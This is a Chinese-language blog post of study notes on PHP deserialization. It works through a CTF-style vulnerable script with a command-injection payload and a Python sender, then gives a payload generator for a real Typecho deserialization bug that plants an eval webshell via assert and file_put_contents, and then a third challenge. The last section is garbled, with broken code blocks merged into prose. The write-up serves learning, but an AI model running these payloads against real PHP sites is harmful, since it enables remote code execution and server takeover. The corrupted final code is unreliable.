Raye's Journey

php反序列化笔记1

在freebuf上看到了一篇新的php反序列化的文章,借此继续分析一下php反序列化。

文章中的代码如下:

<?php

error_reporting(0);

class come{    

   private $method;

   private $args;

   function __construct($method, $args) {

       $this->method = $method;

       $this->args = $args;

    }

   function __wakeup(){

       foreach($this->args as $k => $v) {

           $this->args[$k] = $this->waf(trim($v));

       }

    }

   function waf($str){

       $str=preg_replace("/[<>*;|?\n ]/","",$str);

       $str=str_replace('flag','',$str);

       return $str;

   }           

   function echos($host){

       system("echos $host".$host);

    }

   function __destruct(){

       if (in_array($this->method, array("echos"))) {

           call_user_func_array(array($this, $this->method), $this->args);

       }

    }

}

$first='hi';

$var='var';

$bbb='bbb';

$ccc='ccc';

$i=1;

foreach($_GET as $key => $value) {

       if($i===1)

       {

           $i++;   

           $$key = $value;

       }

       else{break;}

}

if($first==="doller")

{
   var_dump($_GET['a']);
   @parse_str($_GET['a']);

   if($var==="give")

    {

       if($bbb==="me")

       {

           if($ccc==="flag")

           {

                echo"<br>welcome!<br>";

                $come=@$_POST['come'];

                unserialize($come); 

           }

       }

       else

       {echo "<br>think about it<br>";}

    }

   else

    {

       echo "NO";

    }

}

else

{

   echo "Can you hack me?<br>";

}

?>

有两个小trick需要绕过,都是变量覆盖的漏洞,同时parse_str函数需要接受的是一个字符串,为了在浏览器栏中输入需要将&符号进行URL编码

http://localhost/test/unserialize.php?first=doller&a=var=give%26bbb=me%26ccc=flag

这样就能绕过两个小trick

之后就是怎么利用那个反序列化了,__construct函数没有什么用,__wakeup方法会将私有属性args通过一个waf函数进行过滤,__destruct函数中有一个危险函数call_user_func_array,注意到调用这个函数的时候传入的是一个数组,其实就是调用这个this类中的一个方法。但是之前的if判断限制了调用的方法只能是echos,分析echos方法发现其中有一个system函数,但是echo错误的拼成了echos :laughing:

于是我们的思路就是通过传入反序列化后的值使得echos函数被调用执行我们的命令,这就设计到在Linux或者Windows中一行执行多条命令的方式。

在Linux中:

&是不管前后命令是否执行成功都会执行前后命令
&&是前面的命令执行成功才能执行后面的命令
||是前面的命令执行不成功才能执行后面的命令
|管道符

构造出反序列化数据如下:

O:4:"come":2:{s:10:"comeargs";a:1:{i:0;s:4:"&dir";}s:12:"comemethod";s:5:"echos";}

但是。。。

var_dump一下发现了:

:\ProgramFiles\phpstudy\PHPTutorial\WWW\test\unserialize.php:104:string 'O:4:"come":2:{s:10:"comeargs";a:1:{i:0;s:4:"' (length=44)

发现数据被截断了。。

var_dump之前的构造的反序列化数据:

O:4:"come":2:{s:10:"comeargs";a:1:{i:0;s:4:"&dir";}s:12:"comemethod";s:5:"echos";}F:\notes\audit\test.php:8:  ---> echo出来的结果
string(86) "O:4:"come":2:{s:10:"\000come\000args";a:1:{i:0;s:4:"&dir";}s:12:"\000come\000method";s:5:"echos";}" ---> var_dump出来的结果

因为php在反序列化数据时:

protected属性的表示方式是在变量名前加个%00*%00
private表示方式是在变量名前加上%00类名%00

所以次数的两个private属性都被加上了00阶段符号,于是只能通过python手动编码传输数据了

import requests

url = "http://localhost/test/unserialize.php?first=doller&a=var=give%26bbb=me%26ccc=flag"

n = '00'.decode('hex')
o = 'O:4:"come":2:{s:12:"'+n+'come'+n+'method";s:5:"echos";s:10:"'+n+'come'+n+'args";a:1:{i:0;s:4:"&dir";}}"'

r = requests.post(url, data={"come":o})
print r.text

返回的结果如下:

之后如果要读取flag还有几个姿势,但不是本文的重点了

typecho反序列化漏洞

先放出payload

<?php
 
class Typecho_Request
{
 private $_filter=array("assert");
 private $_params=array("screenName"=>"file_put_contents('jrxnm.php', '<?php eval(\$_GET[jrxnm]);');");	
}
 
 
class Typecho_Feed
{
	private $_items = array();
	private $_type = 'RSS 2.0';
	function __construct(){
		$item['author'] = new Typecho_Request();
		$this->_items[0] = $item;
	}
	
}
 
$abc = new Typecho_Feed();
echo base64_encode(serialize(array("adapter"=>$abc,"prefix"=>"_typecho")));

序列化一个数组之后作为cookie传入,关键代码:

此处$config接收cookie中的参数,那么$config此时就是一个数组:

$config = array("adapter"=>$abc, "prefix"=>"_typecho")

其中adapter键对应的是一个对象。

然后$config的两个键值对应的value都作为参数进入了一个类。

查看该类的构造方法发现存在字符串拼接:

那么查找__toString()魔术方法,我们发现在Feed.php文件中的一个类:Typecho_Feed

$item['author']->screenName如果$item[‘author’] 是一个对象,且不存在screenName属性时,会自动调用__get魔法函数。

于是我们想要在实例化Typecho_Db类的时候,调用Typecho_Feed类中的__toString方法

此时继续寻找__get方法:

在Request.php文件中有一个类Typecho_Request中的__get方法如下:

/**
 * 获取实际传递参数(magic)
 *
 * @access public
 * @param string $key 指定参数
 * @return void
 */
public function __get($key)
{
    return $this->get($key);
}

继续分析get方法:

public function get($key, $default = NULL)
{
    $value = $default;

    switch (true) {
        case isset($this->_params[$key]):
            $value = $this->_params[$key];
            break;
        case isset($_GET[$key]):
            $value = $_GET[$key];
            break;
        case isset($_POST[$key]):
            $value = $_POST[$key];
            break;
        case isset($_COOKIE[$key]):
            $value = $_COOKIE[$key];
            break;
        default:
            $value = $default;
            break;
    }

    $value = is_array($value) || strlen($value) > 0 ? $value : $default;
    return $this->_filter ? $this->_applyFilter($value) : $value;
}

如果$this->_filter,就会调用_applyFilter方法:

private function _applyFilter($value)
{
    if ($this->_filter) {
        foreach ($this->_filter as $filter) {
            $value = is_array($value) ? array_map($filter, $value) :
            call_user_func($filter, $value);
        }
    }

    $this->_filter = array();
    return $value;
}

此时终于看到了call_user_func方法,函数名是this->_filter

再看一道反序列化

“php

lodaData($data); $this->render($data); } public function loadData($data){ if(substr($data, 0, 2) !== '0:' && !preg_match('/0:\d:\/', $data)){ return unserialize($data); } return []; } public function createCache($file=null, $tpl=null){ $file = $file ?? $this->cacheFile; $tpl = $tpl ?? $this->template; file_put_contents($file, $tpl); } public function render($data){ echo sprintf($this->template, htmlspecialchars($data['name'])); } public function __destruct() { $this->createCache(); } ``` } new Template($\_COOKIE\[‘data’\]); ```` 这道题也是反序列化的应用,利用思路很清晰就是通过`__destruct`调用`createCache`写入一个webshell 重点在于这里: ```php public function loadData($data){ if(substr($data, 0, 2) !== '0:' && !preg_match('/0:\d:\/', $data)){ return unserialize($data); } return []; } ```` 如果绕过这个if判断,这里需要分析一下php的源码:在’O:’,后面可以增加’+’,用来绕过正则判断。 ## 参考 [PHP反序列化漏洞简介及相关技巧小结](https://www.freebuf.com/articles/web/209975.html)

>  cd ..